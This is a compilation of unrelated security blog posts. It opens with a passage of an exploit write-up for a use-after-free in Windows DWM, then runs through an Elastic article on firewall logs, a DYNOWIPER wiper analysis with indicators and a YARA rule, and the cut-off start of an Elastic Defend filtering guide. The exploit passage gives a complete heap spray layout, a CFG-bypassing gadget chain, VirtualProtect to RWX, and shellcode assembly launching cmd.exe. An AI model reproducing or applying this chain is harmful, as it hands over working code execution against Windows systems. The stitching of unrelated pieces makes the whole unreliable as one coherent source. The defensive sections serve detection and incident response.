| Property | Value | | :---- | :---- | | Resource Type | 0x81 (CRegionGeometry) | | Spray Size | 18 RECTs × 16 bytes = 288 bytes | | Allocator | std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288) | | LFH Bucket | 34, same as target | | Content Control | 72 int32 values (18 RECTs × 4 fields) |

Allocation Chain:

dcomp.dll:   SetRectangles → ResourceSetBufferPropertyCustomWrite
win32kbase:  CRegionGeometryMarshaler::SetBufferProperty → CMarshaledArray::Copy
dwmcore.dll: SetRectangles → std::vector::_Insert_counted_range
             → std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288)

The RECT buffer is written via CMD_SET_BUFFER_PROPERTY (0x0F) with propId 5:

struct CmdSetResourceBufferProperty {
    uint32_t cmdId;      // 0x0F
    uint32_t handle;     // Resource handle
    uint32_t propId;     // 5 for RECT array
    uint32_t dataSize;   // 288 for 18 RECTs
    // Variable-length RECT data follows (4-byte aligned)
};

RECT Layout for Fake Object

The 18 RECTs (288 bytes) provide full control over the reclaimed memory:

struct SprayRECT {
    int32_t left;    // +0x00 within RECT
    int32_t top;     // +0x04
    int32_t right;   // +0x08
    int32_t bottom;  // +0x0C
};
// Total: 72 int32 values = complete coverage of CSynchronousSuperWetInk fields

// Key offsets for exploit:
// +0x00: fake vtable pointer (RECT[0].left/top)

Helper to write 64-bit values into adjacent RECT fields:

static void SetU64(int32_t* lo, int32_t* hi, uint64_t val) {
    *lo = (int32_t)(val & 0xFFFFFFFF);
    *hi = (int32_t)(val >> 32);
}

Exploitation Primitive

The UAF gives us a controlled vtable call with RCX pointing to our sprayed object. When DirtyActiveInk iterates the dangling pointer:

pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
(*pcVar2)();  // call [[spray]+0x50] with RCX = spray

Call site stack:

00 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xa9
01 dwmcore!CComposition::PreRender+0x99f
02 dwmcore!CComposition::ProcessComposition+0x1d7
03 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
04 dwmcore!CConnection::RunCompositionThread+0x142
05 KERNEL32!BaseThreadInitThunk+0x17
06 ntdll!RtlUserThreadStart+0x2c

Register state at dispatch:

• RCX = pointer to sprayed object (our controlled 288 bytes)
• RIP = [[spray]+0x50] (function pointer from fake vtable)

Target Function Constraints

There are initially two restrictions on what we can call:

1. The target must be in the CFG bitmap (marked as valid call target)
2. The target must have a pointer to it (in IAT, vtable, or other readable memory)

We cannot directly call arbitrary addresses; only functions that satisfy both conditions.

Gadget Chain: __fnINSTRING + CStdAsyncStubBuffer2_Disconnect

With the UAF giving us a controlled vtable call (RIP = [[spray]+0x50], RCX = spray), the remaining challenge is chaining CFG-valid gadgets to achieve arbitrary code execution. Direct shellcode execution is blocked by CFG, and we have no heap address leak. We developed a novel gadget chain that solves both problems to achieve code execution, but it required 2 successful exploit attempts, lowering the reliability. Therefore, we pivoted to a known public technique using two Windows system DLL gadgets: __fnINSTRING (user32.dll) and CStdAsyncStubBuffer2_Disconnect (combase.dll).

Stage 1: __fnINSTRING - Kernel Callback Dispatch Without a Leak

The Windows kernel communicates back to user mode through the KernelCallbackTable (KCT), a function pointer table stored in the PEB at offset +0x58. Each entry points to a __fn* handler in user32.dll. These functions are CFG-valid call targets and have pointers to them in readable memory (the KCT itself), satisfying both constraints.

We point the fake vtable at &KCT[fnINSTRING_index] - 0x50. When DirtyActiveInk dereferences [[spray]+0x50], it reads the KCT entry and dispatches to __fnINSTRING:

[[spray]+0x50]
  = [KCT_entry_addr - 0x50 + 0x50]
  = [KCT_entry_addr]
  = &__fnINSTRING

What makes this useful is what __fnINSTRING does internally. It treats its argument (our spray buffer) as a _CAPTUREBUF structure and calls FixupCallbackPointers before dispatching the inner function. FixupCallbackPointers reads a fixup table from the buffer and converts relative offsets into absolute addresses by adding the buffer's base address:

// Simplified FixupCallbackPointers logic:
void FixupCallbackPointers(_CAPTUREBUF* buf) {
    if (buf->guard != 0) return;  // already fixed up - skip
    int32_t* fixups = (int32_t*)((char*)buf + buf->fixupTableOffset);
    for (int i = 0; i < buf->fixupCount; i++) {
        int32_t* target = (int32_t*)((char*)buf + fixups[i]);
        *(uint64_t*)target += (uint64_t)buf;  // relative → absolute
    }
}

This eliminates the need for a heap address leak. We embed relative offsets in the spray buffer, and FixupCallbackPointers patches them to absolute pointers at runtime using the buffer's own address. After fixup, __fnINSTRING dispatches the inner function pointer at +0x48 with the arguments at +0x28 (RCX), +0x30 (EDX), +0x38 (R8), and +0x50 (R9).

We set the inner function to CStdAsyncStubBuffer2_Disconnect.

Stage 2: CStdAsyncStubBuffer2_Disconnect - Two Chained Vtable Calls

CStdAsyncStubBuffer2_Disconnect is exported from combase.dll, making it CFG-valid with a stable address. Its disassembly reveals a useful primitive: two sequential vtable dispatches with preserved argument registers:

; CStdAsyncStubBuffer2_Disconnect (simplified)
MOV  RBX, RCX             ; save this
MOV  RCX, [RCX-8]         ; load [this-8] -> fake_obj_1
TEST RCX, RCX
JZ   skip1
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x20]      ; vtable[4]
CALL guard_dispatch_icall  ; CALL #1: [[this-8]+0x20]  ← VirtualProtect

skip1:
XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; DEFUSE: read [this+0x10], zero it
TEST RCX, RCX
JZ   skip2
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x10]      ; vtable[2]
CALL guard_dispatch_icall  ; CALL #2: [[[this+0x10]]+0x10]  ← shellcode

skip2:
ADD  RSP, 0x20
POP  RBX
RET

RDX, R8, and R9 are preserved through both calls, arriving untouched from __fnINSTRING's argument setup. This gives us full control over the first three arguments to both vtable calls.

Vtable Call #1: VirtualProtect → RWX

We construct a self-referential fake object at +0xC8 in the spray buffer: [+0xC8] points to itself (after fixup), so dereferencing [RCX] → [RCX+0x20] reads VirtualProtect's address from +0xE8. The arguments (preserved from __fnINSTRING dispatch) are:

| Register | Value | Purpose | | :---- | :---- | :---- | | RCX | base+0xC8 (fake_obj_1) | lpAddress (start of spray buffer region) | | RDX | 0x1000 | dwSize | | R8 | 0x40 | flNewProtect (PAGE_EXECUTE_READWRITE) | | R9 | base+0xC0 | lpflOldProtect (output slot in spray buffer) |

After this call, the spray buffer's memory page is marked RWX, and the CFG bitmap is updated to allow execution from this region.

Vtable Call #2: Inline Shellcode

After VirtualProtect returns, Disconnect loads [this+0x10] into RCX for the second vtable dispatch:

XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; RCX = [base+0x90] = base+0xA0 (fake_obj_2)
TEST RCX, RCX
JZ   skip2                 ; non-zero → take the call
MOV  RAX, [RCX]            ; RAX = [base+0xA0] = base+0xA8 (fake vtable_2)
MOV  RAX, [RAX+0x10]       ; RAX = [base+0xB8] = base+0xD0 (shellcode!)
CALL guard_dispatch_icall   ; call base+0xD0

The pointer chain resolves step by step:

1. [this+0x10] = [base+0x90] = base+0xA0 (fake_obj_2)
2. [RCX] = [base+0xA0] = base+0xA8, fake_obj_2's vtable pointer (after fixup)
3. [RAX+0x10] = [base+0xB8] = base+0xD0, vtable_2's third entry, pointing at our shellcode

The final CALL guard_dispatch_icall dispatches to base+0xD0, our inline shellcode, now both executable and CFG-valid thanks to the preceding VirtualProtect call.

Shellcode Layout

The shellcode is split into two phases because the VirtualProtect address data sits at +0xE8 (used as vtable_1[0x20] by call #1), creating a gap in the middle of our executable region:

Phase 1 (+0xD0, 22 bytes): Saves RCX (base+0xA0) into RBX for later address arithmetic, allocates shadow space, loads SW_SHOW (5) into RDX, loads the absolute address of WinExec via movabs RAX, then jumps over the 8-byte data gap at +0xE8:

mov  rbx, rcx              ; save base+0xA0 for address math
sub  rsp, 0x28             ; shadow space
push 5
pop  rdx                   ; uCmdShow = SW_SHOW
movabs rax, <WinExec addr> ; 10-byte immediate load
jmp  +0x0A                 ; skip over +0xE8 data → land at +0xF0

Phase 2 (+0xF0): Calls WinExec with a RIP-relative pointer to the "cmd.exe\0" string embedded at the end of the shellcode, defuses the spray for safe re-entry, then performs a stack fixup to return directly to DWM's composition loop:

lea  rcx, [rip+0x22]      ; rcx = &"cmd.exe"
call rax                   ; WinExec("cmd.exe", SW_SHOW)

; Defuse: rewrite fake vtable so re-entry is harmless
lea  rax, [rbx+0x78]       ; rax = address of the ret below
mov  [rbx-0x48], rax       ; [base+0x58] = ret_gadget
lea  rax, [rbx-0x98]       ; rax = base+0x08
mov  [rbx-0xA0], rax       ; [base+0x00] = base+0x08 (new fake vtable)

; Stack fixup: skip Disconnect + __fnINSTRING return frames
add  rsp, 0xB8             ; 0x28 shadow + 0x90 to unwind past intermediate frames
xor  eax, eax              ; zero return value
ret                        ; return directly to DWM composition loop
; "cmd.exe\0" embedded here

The add rsp, 0xB8 improves reliability. A naive add rsp, 0x28 would return into CStdAsyncStubBuffer2_Disconnect, which would then return into __fnINSTRING, which calls NtCallbackReturn. This kernel callback return path can be fragile in the context of a hijacked call. By adding an extra 0x90 to the stack adjustment, the shellcode skips past both intermediate frames entirely and returns directly to DirtyActiveInk's caller in the DWM composition loop.

Safe Re-entry: Defusing the Spray

DWM's DirtyActiveInk may iterate the dangling pointer more than once. Without defusing, each re-entry would re-trigger the full chain and crash. The shellcode rewrites the spray's vtable pointer so that subsequent dereferences take a harmless path:

1. [base+0x00] is overwritten to base+0x08 (new fake vtable)
2. [base+0x58] is overwritten to the address of a ret instruction

On re-entry: [[base+0x00]+0x50] = [base+0x08+0x50] = [base+0x58] = ret. The vtable call returns immediately. __fnINSTRING is never re-invoked because the vtable no longer points at the KCT entry.

Complete Spray Layout

The full 288-byte spray buffer (18 RECTs) after FixupCallbackPointers:

| Offset | Size | Content | Purpose | | :---- | :---- | :---- | :---- | | +0x00 | 8 | KCT_entry - 0x50 | Fake vtable → __fnINSTRING | | +0x08 | 4 | 8 | Fixup count | | +0x18 | 4 | 0x58 | Fixup table offset | | +0x20 | 8 | base (fixup'd) | Guard (blocks re-fixup) | | +0x28 | 8 | base+0x80 (fixup'd) | RCX → Disconnect this | | +0x30 | 4 | 0x1000 | EDX → VirtualProtect dwSize | | +0x38 | 8 | 0x40 | R8 → PAGE_EXECUTE_READWRITE | | +0x48 | 8 | \&Disconnect | Inner function pointer | | +0x50 | 8 | base+0xC0 (fixup'd) | R9 → lpflOldProtect | | +0x58 | 32 | fixup table (8 entries) | Offsets to patch | | +0x78 | 8 | base+0xC8 (fixup'd) | [this-8] → fake_obj_1 | | +0x80 | 8 | (unused) | Disconnect this base | | +0x90 | 8 | base+0xA0 (fixup'd) | [this+0x10] → fake_obj_2 | | +0xA0 | 8 | base+0xA8 (fixup'd) | fake_obj_2 vtable | | +0xB8 | 8 | base+0xD0 (fixup'd) | vtable_2[0x10] → shellcode | | +0xC0 | 4 | (output) | VirtualProtect lpflOldProtect | | +0xC8 | 8 | base+0xC8 (fixup'd) | Self-referential vtable (fake_obj_1) | | +0xD0 | 22 | shellcode phase 1 | Save regs, load WinExec, jmp | | +0xE8 | 8 | \&VirtualProtect | vtable_1[0x20] data | | +0xF0 | 48 | shellcode phase 2 | WinExec + defuse + stack fixup + "cmd.exe\0" |

Full Chain Summary

DirtyActiveInk iterates dangling pointer
  → [[spray+0x00]+0x50] = __fnINSTRING(spray)
    → FixupCallbackPointers: 8 relative offsets → absolute
    → Dispatch: CStdAsyncStubBuffer2_Disconnect(base+0x80, 0x1000, 0x40, base+0xC0)
      → Vtable call #1: VirtualProtect(base+0xC8, 0x1000, RWX, base+0xC0)
        → Spray buffer page is now RWX, CFG bitmap updated
      → Vtable call #2: shellcode at base+0xD0
        → WinExec("cmd.exe", SW_SHOW)
        → Defuse: rewrite vtable for safe re-entry
        → Stack fixup: add rsp, 0xB8 to skip Disconnect + __fnINSTRING frames
      → RET directly to DWM composition loop
    → DirtyActiveInk re-entry: [[base]+0x50] = ret → clean return

The DWM process runs as the DWM user with System integrity. Prior public techniques to achieve SYSTEM typically involve hijacking function pointers mapped into privileged client processes like LogonUI or Consent. However, it appears this technique was recently patched as the shared section is now mapped read-only. We developed a new, alternative path to SYSTEM but are choosing to withhold publishing the technique at this time.

Closing Thoughts

The models we have today are highly capable at tasks that historically have required deep expertise cultivated over many years. This includes things like reverse engineering, vulnerability discovery, and exploit development. Their capabilities are spiky, and do not yet rival the world's best in these fields. However, the march of model progress seems to show no sign of slowing down at the moment. This levels the playing field for defenders, but also raises the capabilities of attackers. While there has always been an adversarial cat and mouse game, and this is not new in that regard, attackers are at least at a near-term asymmetric advantage to wield these tools for harm. Attackers can move faster, with little worry about safety or security of AI systems. Defenders must leverage AI for offensive purposes against their code (for vulnerabilities), security products (for detection gaps), and their enterprises (adversary emulation) to find weaknesses and iterate on improved defenses before attackers do. Unfortunately, it may be the small organizations with no security teams that take the brunt of the near term pain. My hope is that long-term, the security community can together outspend attackers on offensive and defensive research, and we exit this era in a better place than we started.

The network firewall is one of the most critical security controls in a network. It enforces security policies by inspecting and controlling traffic between network segments, while generating logs that record allowed and denied connections. This article explores why firewall logs are a valuable supplement to other data sources, such as endpoint telemetry, and provides an overview of what firewall logs contain and how security teams can use them effectively.

We will cover:

• The importance of network firewall logs
• What’s inside network firewall logs & how those data help cybersecurity
• Collecting network firewall logs with Elastic agent
• Exploring your data on the Elastic Security Network Page

The Importance of Network Firewall Logs

A network firewall acts as a gatekeeper, filtering traffic based on organizational rules and policies. For instance, it might permit one system to use RDP to connect to another while blocking similar access from other systems. In cloud environments, virtual firewalls enforce security group rules, network ACLs, and policy boundaries across VPCs, subnets, and regions thus, offering visibility into east-west and north-south traffic across your cloud estate.

Modern Firewalls go beyond traditional filtering by incorporating deep packet inspection, application awareness, and threat intelligence, among others.

Positioned strategically, firewalls capture logs that provide insights into inter-zone and intra-zone communication. For instance:

• North-south traffic is data movement between an internal network and external entities like the Internet or cloud services. It is typically monitored by firewalls and security controls to prevent external threats.
• East-west traffic refers to communication within a network, such as between servers, endpoints, or applications inside an organization. It is crucial for internal operations and requires lateral movement detection for security.

By analyzing these logs, security teams gain critical insights into traffic patterns, rule enforcement, and potential threats.

What's to Look Out for in Network Firewall Logs?

Firewall logs contain detailed records of network activity and are packed with information useful for tracking, monitoring, and analyzing traffic patterns, in addition to identifying security events and potential threats. These logs are related to packet filtering and traffic control, capturing allowed and denied traffic, NAT translations, and access control decisions.

The following is a list of key fields that provide the "ground truth" for your network. Please note that the parenthesis contain the equivalent ECS fields.

• Timestamp (@timestamp): This is the chronological anchor of firewall logs. It helps analysts correlate sequences of events across different devices and networks. For example, if an analyst identifies a suspicious connection, they can trace back the actions preceding or following it to build a precise incident timeline.

• Source and Destination IP (source.ip, destination.ip): These identify the origin and target of the traffic. While seemingly simple, directionality is a critical distinction in firewall rulesets. Source IPs help identify malicious external origins or internal systems attempting brute-force attacks, while destination IPs help flag when high-value assets, such as a sensitive database, are being targeted.

• Source and Destination Port (source.port, destination.port): Attackers often target specific services. While source ports are often dynamic, destination ports tell you what service is being probed. High-frequency connections to common services (like 80/HTTP or 443/HTTPS) or high-risk ports (like 22/SSH) can be the first indicator of unauthorized access or web-based attacks.

• Protocol (network.transport): Analyzing usage of protocols like TCP, UDP, or ICMP helps identify specific attack types. For instance, unusual ICMP patterns might signal a ping sweep or a denial-of-service (DoS) attempt.

• Action and Rule Identifiers (event.action or event.outcome, rule.name or rule.id): Understanding whether a firewall allowed or blocked a connection is vital. By identifying the specific Rule Identifier, analysts can see which policy was responsible. This is essential for finding misconfigured rules that might be unintentionally exposing the network to attacks.

• Traffic Volume (source.bytes, destination.bytes, network.bytes): These fields are primary indicators for data exfiltration. Sudden spikes in volume or large transfers to an external destination are often the "early warning" for data theft or malware beaconing.

• NAT Info (source.nat.ip, destination.nat.ip): In complex environments where Network Address Translation (NAT) is involved, these fields are crucial for "unmasking" the actual internal systems involved. Without this, tracing a suspicious connection back to a specific internal host can be nearly impossible. This is key especially for north-south type of traffic.

• Application Info (network.application): Next-Generation Firewalls (NGFWs) go beyond ports to identify the actual application (e.g., Skype, BitTorrent, or HTTP). This allows analysts to detect unauthorized applications that might be masking their traffic on standard ports, signaling potential insider threats, lateral movement, or the use of high-risk peer-to-peer software.

• Interface Info (observer.ingress.interface.name, observer.egress.interface.name): Knowing which physical or virtual interface the traffic passed through (e.g., WAN vs. LAN) helps analysts understand which network segments are involved. Traffic crossing internal interfaces is a key indicator of malware propagation or lateral movement.

Note: Some integrations might have these fields labeled differently.

Collecting firewall logs with Elastic Security

Elastic makes it easy to collect network firewall logs. This guide describes how to use Elastic Agent and Fleet for firewall log collection. There are other ways Elastic can allow you to collect network logs, such as using Logstash. In cloud environments, you can also ingest logs directly from object storage (like AWS S3 or Azure Blob). This approach is useful for environments where firewalls log to a centralized store rather than stream data directly.

To effectively collect and analyze network firewall logs using Elastic Security, follow these steps:

1. Configure Log Forwarding: Set up your firewall to forward logs to Elastic Agent.
2. Syslog Configuration (or similar): Typically, you will direct your firewall to send Syslog data to the host that has the Elastic Agent, specifying the appropriate IP address and port.
3. Elastic Agent Setup: Install and configure Elastic Agent on a syslog server, edge server, or similar log collector to receive and process the logs.
4. Utilize the relevant Elastic Integrations: Elastic offers integrations tailored for various firewalls, such as:

• Palo Alto Next-Gen firewall
• Fortinet FortiGate firewall
• Check Point
• Cisco ASA
• AWS Network Firewall
• Azure Firewall
• GCP Firewall, among others.

1. Ingest Logs into Elastic Security: Ensure that the logs are ingested into Elasticsearch, making them accessible in Elastic Security for analysis and visualization. Elastic also enriches ingested firewall logs with helpful context such as geolocation, IP-to-hostname mapping, threat intelligence matches, and even business metadata making investigations faster and more informed.

By following these steps, you can effectively collect, process, and analyze network firewall logs within Elastic.

Exploring Your Data: The Elastic Security Network Page

Once your firewall logs are flowing into Elastic, you can move from collection to exploration. The Network Page in Elastic Security is your central hub for visualizing and investigating aggregated network data, including firewall data.

Instead of just looking at raw logs, this page provides key network activity metrics in an interactive map and a series of data tables.

Key features of the Network page include:

• Interactive Map: Get an immediate visual overview of your network traffic. You can see source and destination points mapped geographically, helping you instantly spot unusual connections, like an internal server communicating with an IP in a country you don't do business with.
• Drill-down Widgets: Interactive widgets allow you to quickly find baselines and outliers. You can see top talkers for:
• Network Events
• DNS Queries
• TLS Handshakes
• Unique Private IPs
• Focused Data Tabs: The page includes tabs to pivot your investigation into specific data types, such as:
• Flows: See source and destination IP addresses and countries.
• DNS: Analyze all DNS network queries.
• HTTP: Inspect received HTTP requests.
• TLS: Investigate handshake details.
• Timeline Integration: You can drag and drop items of interest—like a suspicious IP address or host name—directly from the Network page into Timeline for deeper investigation and correlation.

Using this page, you can start to answer foundational questions like, "What is normal traffic for my network?" and "Which external IPs are my internal hosts communicating with most?" This visual exploration is the first step before moving into automated detection.

Start Exploring Your Network Data

In this post, we've covered the fundamentals: why firewall logs are critical, what's inside them, how to ingest them using Elastic Agent, and how to begin visually exploring that data on the Network page.

In Part 2, we'll build on this foundation and move from exploration to active threat detection. We will cover how to use Elastic Security’s detection rules to automatically find network-native threats like reconnaissance, C2, and data exfiltration, as well as how to hunt for advanced lateral movement by correlating with other data such as endpoint data and other telemetry.

Ready to turn your own firewall logs into actionable insights?

• New to Elastic? Start your free 14-day trial of Elastic Cloud to see the Network Page in action.
• Already an Elastic user? Head to the Integrations app in Kibana, add your firewall's integration, and start exploring your network data today.

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

• On December 29, 2025, a coordinated campaign of destructive cyberattacks targeted Poland's energy infrastructure, affecting over 30 renewable energy facilities and a major combined heat and power (CHP) plant
• A custom wiper malware dubbed DYNOWIPER was used to irreversibly destroy data across compromised networks
• CERT Polska attributes the attack infrastructure to the threat cluster Cisco refers to as Static Tundra, Crowdstrike refers to as Berserk Bear, Microsoft calls Ghost Blizzard, and Symantec labels as Dragonfly
• Elastic Defend's ransomware protection successfully detects and prevents DYNOWIPER execution using canary file monitoring

Background

The coordinated destructive campaign against critical energy infrastructure occurred on December 29, 2025, during a period of severe winter weather in Poland.

According to CERT Polska’s report, the campaign targeted:

• 30+ wind and solar farms across Poland
• A major CHP plant supplying heat to nearly half a million customers
• A manufacturing sector company characterized as an opportunistic target

Attack Vector

The threat actor reportedly gained initial access through Fortinet FortiGate devices exposed to the internet prior to December 29th, exploiting:

• VPN interfaces allowing authentication without multi-factor authentication
• Reused credentials across multiple facilities
• Historical vulnerabilities in unpatched devices

Attackers conducted months-long reconnaissance of industrial automation systems, specifically targeting SCADA systems and OT networks. During this time, they exfiltrated Active Directory databases, FortiGate configurations, and data related to OT network modernization.

DYNOWIPER Details

Elastic Security Labs independently analyzed a DYNOWIPER sample from open sources. The sample is similar to one of the variants documented by CERT Polska.

Sample Metadata

| Property | Value |
|----------|-------|
| SHA256 | 835b0d87ed2d49899ab6f9479cddb8b4e03f5aeb2365c50a51f9088dcede68d5 |
| SHA1 | 4ec3c90846af6b79ee1a5188eefa3fd21f6d4cf6 |
| MD5 | a727362416834fa63672b87820ff7f27 |
| File Type | Windows PE32 Executable (GUI) |
| Architecture | 32-bit x86 |
| File Size | 167,424 bytes |
| Compiler | Visual C++ (MSVC) |
| Compilation Date | 2025-12-26 13:51:11 UTC |

Destruction Mechanism

Drive Enumeration

The malware enumerates all logical drives (A-Z) using GetLogicalDrives() and targets only DRIVE_FIXED (hard drives) and DRIVE_REMOVABLE (USB drives, SD cards) types.

File Corruption

DYNOWIPER employs a Mersenne Twister PRNG to generate pseudorandom data for file corruption. Rather than overwriting entire files (which requires time), it strategically corrupts files by:

1. Removing file protection attributes via SetFileAttributesW(FILE_ATTRIBUTE_NORMAL)
2. Opening files with CreateFileW for read/write access
3. Overwriting the file header with 16 bytes of random data
4. For larger files, generating up to 4,096 random offsets and overwriting each with 16-byte sequences

This approach allows rapid corruption of many files while ensuring data is unrecoverable.

Directory Exclusion List

The malware deliberately avoids system-critical directories to maintain system stability during the attack:

• windows, system32
• program files, program files(x86)
• boot, appdata, temp
• recycle.bin, $recycle.bin
• perflogs, documents and settings

This design choice maximizes data destruction before the system becomes unstable, ensuring the wiper completes its mission.

Forced Reboot

After corruption and deletion phases complete, DYNOWIPER:

1. Obtains a process token via OpenProcessToken()
2. Enables SeShutdownPrivilege via AdjustTokenPrivileges()
3. Forces system reboot with ExitWindowsEx(EWX_REBOOT | EWX_FORCE)

Notable Characteristics

DYNOWIPER is distinguished by several characteristics:

• No persistence mechanism - The malware does not attempt to survive reboots
• No C2 communication - Completely standalone, no network callbacks
• No shell command invocations - All operations performed via Windows API
• No anti-analysis techniques - No attempts to evade detection or debugging
• Characteristic PDB path: C:\Users\vagrant\Documents\Visual Studio 2013\Projects\Source\Release\Source.pdb

The use of "vagrant" in the PDB path suggests development occurred in a Vagrant-managed virtual machine environment.

Version Differences

CERT Polska documented two DYNOWIPER versions (A and B). The sample we analyzed corresponds to version A. Version B removed the system shutdown functionality and added a 5-second sleep between corruption and deletion phases.

Elastic Defend Protection

During testing of DYNOWIPER samples, Elastic Defend successfully detected and mitigated the malware before it could cause damage.

Detection Alert

```json
{
"message": "Ransomware Prevention Alert",
"event": {
"code": "ransomware",
"action": "canary-activity",
"type": ["info", "start", "change", "denied"],
"category": ["malware", "intrusion_detection", "process", "file"],
"outcome": "success"
},
"Ransomware": {
"feature": "canary",
"version": "1.9.0"
}
}

### How Canary Protection Works

Elastic Defend's ransomware protection employs canary files (strategically placed decoy files) that trigger alerts when modified. DYNOWIPER's indiscriminate file corruption approach caused it to modify a canary file.

When the wiper attempted to corrupt this canary file, Elastic Defend immediately:  
1. Detected the suspicious modification pattern  
2. Blocked further execution  
3. Generated a high-confidence ransomware alert (risk score: 73)

While Elastic Defend was not the EDR solution used in this incident, this form of defense-in-depth protection was critical in the real-world intrusion. According to CERT Polska, the EDR solution deployed at the CHP plant, using the same canary protection technology highlighted above, halted data overwriting on more than 100 machines where DYNOWIPER had already begun executing.

## Why Behavioral Detection is Crucial

Destructive malware can present unique challenges to minimizing risk:  
* They may not establish C2 connections (no network indicators)  
* They may not use persistence mechanisms (limited forensic artifacts)  
* They execute quickly and destructively  
* Static signature-based detection may miss new variants

Behavioral protection, such as through canary files, provides a crucial layer of defense that can catch destructive malware regardless of its novelty.

## Indicators of Compromise

### File Hashes (DYNOWIPER)

| SHA256 | Filename |  
|--------|----------|  
| `835b0d87ed2d49899ab6f9479cddb8b4e03f5aeb2365c50a51f9088dcede68d5` | dynacom\_update.exe |  
| `65099f306d27c8bcdd7ba3062c012d2471812ec5e06678096394b238210f0f7c` | Source.exe |  
| `60c70cdcb1e998bffed2e6e7298e1ab6bb3d90df04e437486c04e77c411cae4b` | schtask.exe |  
| `d1389a1ff652f8ca5576f10e9fa2bf8e8398699ddfc87ddd3e26adb201242160` | schtask.exe |

### Distribution Scripts

| SHA256 | Filename |  
|--------|----------|  
| `8759e79cf3341406564635f3f08b2f333b0547c444735dba54ea6fce8539cf15` | dynacon_update.ps1 |  
| `f4e9a3ddb83c53f5b7717af737ab0885abd2f1b89b2c676d3441a793f65ffaee` | exp.ps1 |

### Network Indicators

| IP Address | Context |  
|------------|---------|  
| `185.200.177[.]10` | VPN logins, direct DYNOWIPER execution |  
| `31.172.71[.]5` | Reverse proxy for data exfiltration |  
| `193.200.17[.]163` | VPN logins |  
| `185.82.127[.]20` | VPN logins |  
| `72.62.35[.]76` | VPN and O365 logins |

### YARA Rule

yara
rule DYNOWIPER {
meta: author = "CERT Polska" description = "Detects DYNOWIPER data destruction malware"
severity = "CRITICAL"
reference = "https://mwdb.cert.pl/"

strings:  
    $a1 = "$recycle.bin" wide  
    $a2 = "program files(x86)" wide  
    $a3 = "perflogs" wide  
    $a4 = "windows\x00" wide  
    $b1 = "Error opening file: " wide  
    $priv = "SeShutdownPrivilege" wide  
    $api1 = "GetLogicalDrives"  
    $api2 = "ExitWindowsEx"  
    $api3 = "AdjustTokenPrivileges"  

condition:  
    uint16(0) == 0x5A4D  
    and filesize < 500KB  
    and 4 of ($a*, $b1)  
    and $priv  
    and 2 of ($api*)  

}
```

Recommendations

Immediate Actions

1. Deploy behavioral ransomware protection - Signature-based detection alone is insufficient against novel wipers
2. Enable MFA on all VPN and remote access solutions - The attackers exploited accounts without MFA
3. Audit FortiGate and edge device configurations - Check for unauthorized accounts, rules, and scheduled tasks
4. Review default credentials - Industrial devices (RTUs, HMIs, serial servers) often ship with default passwords

Detection Opportunities

Monitor for:

• GetLogicalDrives API calls followed by mass file operations
• SetFileAttributesW calls setting FILE_ATTRIBUTE_NORMAL at scale
• Privilege escalation for SeShutdownPrivilege followed by ExitWindowsEx
• GPO modifications creating scheduled tasks with SYSTEM privileges
• Unusual file modifications across multiple drives simultaneously

Recovery Considerations

• Restore from offline/air-gapped backups - Online backups may have been targeted
• Verify backup integrity before restoration
• Assume credential compromise - Reset all passwords, especially domain admin accounts
• Audit all removable media that may have been connected to affected systems

Conclusion

The December 2025 attacks on Poland's energy sector represent a significant escalation in destructive cyber operations against critical infrastructure. DYNOWIPER, while not technically sophisticated, proved effective at rapid data destruction when combined with the threat actor's extensive pre-positioned access.

The incident underscores the importance of defense-in-depth strategies, particularly behavioral detection capabilities that can identify destructive malware regardless of its novelty. Elastic Defend's ransomware protection—specifically its canary file monitoring—proved effective at detecting and blocking DYNOWIPER before it could complete its destructive mission.

Organizations in critical infrastructure sectors should review their security posture against the TTPs documented in this report and CERT Polska's comprehensive analysis.

References

• CERT Polska: Energy Sector Incident Report – 29 December
• Cisco Talos: Static Tundra
• FBI IC3: PSA250820

MITRE ATT&CK Mapping

| Tactic | Technique | ID |
|--------|-----------|-----|
| Execution | Scheduled Task/Job | T1053.005 |
| Defense Evasion | File and Directory Permissions Modification | T1222 |
| Discovery | Local Storage Discovery | T1680 |
| Impact | Data Destruction | T1485 |
| Impact | System Shutdown/Reboot | T1529 |

This article details the internal Elastic Infosec team's process to optimize our endpoint data collection. By leveraging Event Filtering and Advanced Policy Settings in Elastic Defend, we significantly reduced noise, improved cluster performance, and saved on storage costs, all while maintaining a robust security posture. By following these strategies you can significantly reduce your EDR costs with only a few hours of work.

Elastic Defend is a powerful Endpoint Detection and Response agent that provides comprehensive protection against advanced threats. Elastic Defend offers a wide range of capabilities, including prevention, detection, and response, to safeguard your endpoints. In addition to on-host detections and alerting, its capabilities include rich event telemetry collected directly from the endpoint and sent to your Elastic stack, such as process executions, network connections, DNS events, USB Device Events, DLL and Driver loads, API events, file system changes, and registry modifications. Elastic added default event filtering in 8.3.0+ that will automatically filter out known benign system events unless you disable it in the policy advanced settings. In addition to the built in filters, it is easy to add your own custom Event Filtering to Elastic Defend that will reduce your costs even further.

The environment: Worldwide Distributed Workforce

Our environment at Elastic isn't like most traditional enterprises. We are a remote first, distributed workforce with team members working remotely in over 43 countries around the world. Almost half of our employees are developers or engineers who are constantly pushing the boundaries of what an operating system can do. They are using Mac, Windows, and Linux workstations to compile software, build custom Linux kernels, run Elasticsearch clusters on Kubernetes on their workstations, and utilize complex development tools that can generate massive amounts of benign file and process activity.

When we initially rolled out Elastic Defend, our strategy was to first deploy to a small population of workstations from various different workcenters so we could get an idea of what the event volume looked like and filter out the noisiest events, and then gradually add more workstations each week. When we first installed Elastic Defend without any event filters we saw a very large volume of data, an average of 48k events per hour per workstation. A large amount of these events were being caused by benign but noisy management software such as Qualys, Jamf, inTune, etc. We needed a strategy to filter out the noise without creating blind spots for our security analysts.

Step 1: Identifying the Noise

When looking for noisy events there are generally two different categories of noise that you should look for:

1. Software that is installed on the majority of your workstations.
2. A single host that is creating far more noise than your other hosts.

When adding filters you will want to start with the first category of noise as that will make a bigger difference in the long run. A common cause of events like this are MDM agents or other applications that are constantly taking the same benign action such as writing to a log file and making network connections to ship logs to the cluster.

